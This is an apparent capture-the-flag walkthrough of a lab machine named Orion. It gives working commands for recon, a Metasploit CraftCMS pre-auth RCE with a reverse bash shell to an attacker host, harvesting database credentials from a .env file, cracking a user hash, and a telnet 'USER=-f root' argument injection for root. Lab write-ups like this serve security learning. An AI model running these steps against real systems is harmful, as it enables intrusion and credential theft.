Orion - Hack The Back / Penetration Testing Walkthrough

This comprehensive walkthrough details the exploitation path for **Orion**, covering reconnaissance, initial access via a CraftCMS pre-auth RCE vulnerability, database credential harvesting, hash cracking, lateral movement via SSH, and privilege escalation using an inetutils telnet vulnerability.

Phase 1: Reconnaissance & Port Scanning

Network Enumeration (`nmap`)

We begin by running a full TCP port scan with service and script detection against the target IP (`10.129.244.146`).

```
sudo nmap -A -sC -sV 10.129.244.146 -p-
```

Key Findings:

- **Port 22/tcp**: OpenSSH 8.9p1 Ubuntu
- **Port 80/tcp**: Nginx 1.18.0 (Ubuntu) with an HTTP redirect heading to `[http://orion.htb/](http://orion.htb/)`

Subdomain & Directory Discovery (`ffuf`)

Adding `orion.htb` to our `/etc/hosts` file, we run fuzzing to discover hidden endpoints and paths.

```
ffuf -u http://orion.htb/FUZZ -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 154
```

Discovered Paths:

- `/admin` (Redirects to login panel)
- `/assets`
- `/p1` , `/p2` , `index`

The application runs **CraftCMS** backed by the Yii Framework (version 2.0.51), which is susceptible to pre-authentication remote code execution vulnerabilities.

Phase 2: Initial Access (CraftCMS Pre-Auth RCE)

By leveraging the CraftCMS pre-auth RCE exploit (CVE-2025-32432 / related Yii/Craft component vulnerabilities), we can trigger execution against the application.

1. Configure Metasploit with the specific module and payload:

```
msf6 > use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set RHOSTS
10.129.244.146
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LHOST
10.10.15.181
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set PAYLOAD
cmd/unix/reverse_bash
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit
```

2. The exploit triggers successfully, leaking the session path and opening a stable command shell session as the `www-data` user.

Phase 3: Enumeration & Credential Harvesting

Once inside the web root via the initial foothold, we search for configuration files to extract database credentials.

1. Inspecting the `.env` file in the application directory:

```
cd ..
cat .env
```

Extracted Configuration:

- Database Server: `127.0.0.1`
- Database Name: `orion`
- Database User: `root`

- Database Password: `SuperSecureCraft123Pass!`

2. Connecting to the local MySQL database:

```
mysql -u root -pSuperSecureCraft123Pass! -D orion
```

3. Querying the `users` table reveals the password hash for the system user `adam`:

```
SELECT * FROM users;
```

- Hash found: `$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS`

4. Cracking the hash using **Hashcat** or online lookup reveals the plaintext password:

- **Password:** `darkangel`

Phase 4: Lateral Movement (User Flag)

With the valid credentials for user `adam`, we connect to the target via SSH:

```
ssh adam@orion.htb
```

- **Password:** `darkangel`

Successfully authenticated, we capture the user flag from adam's home directory.

Phase 5: Privilege Escalation to Root

Enumeration

After establishing our SSH session as `adam`, we check for privilege escalation vectors:

- `sudo -l` shows the user is not allowed to run sudo.
- SUID binaries and other common vectors (such as PwnKit / CVE-2021-4034) are tested, but the system is patched or encounters environment restrictions.

- Inspecting installed software and network services reveals that **Telnet** (`telnet (GNU inetutils) 2.7`) is installed locally.

Exploiting GNU Inetutils Telnet

GNU inetutils telnet versions up to 2.7 contain a known environment variable injection vulnerability (or behavior misuse in local/loopback environment handling) where passing specific environment parameters like `USER` allows local privilege escalation.

Executing the following command leverages this behavior:

```
USER="-f root" telnet -a 127.0.0.1
```

Result:
The command bypasses standard authentication checks due to the mishandled `-f` flag passed via the `USER` environment variable, immediately dropping us into an interactive **root** shell.

```
id
uid=0(root) gid=0(root) groups=0(root)
```

We can now read the root flag and complete the system compromise.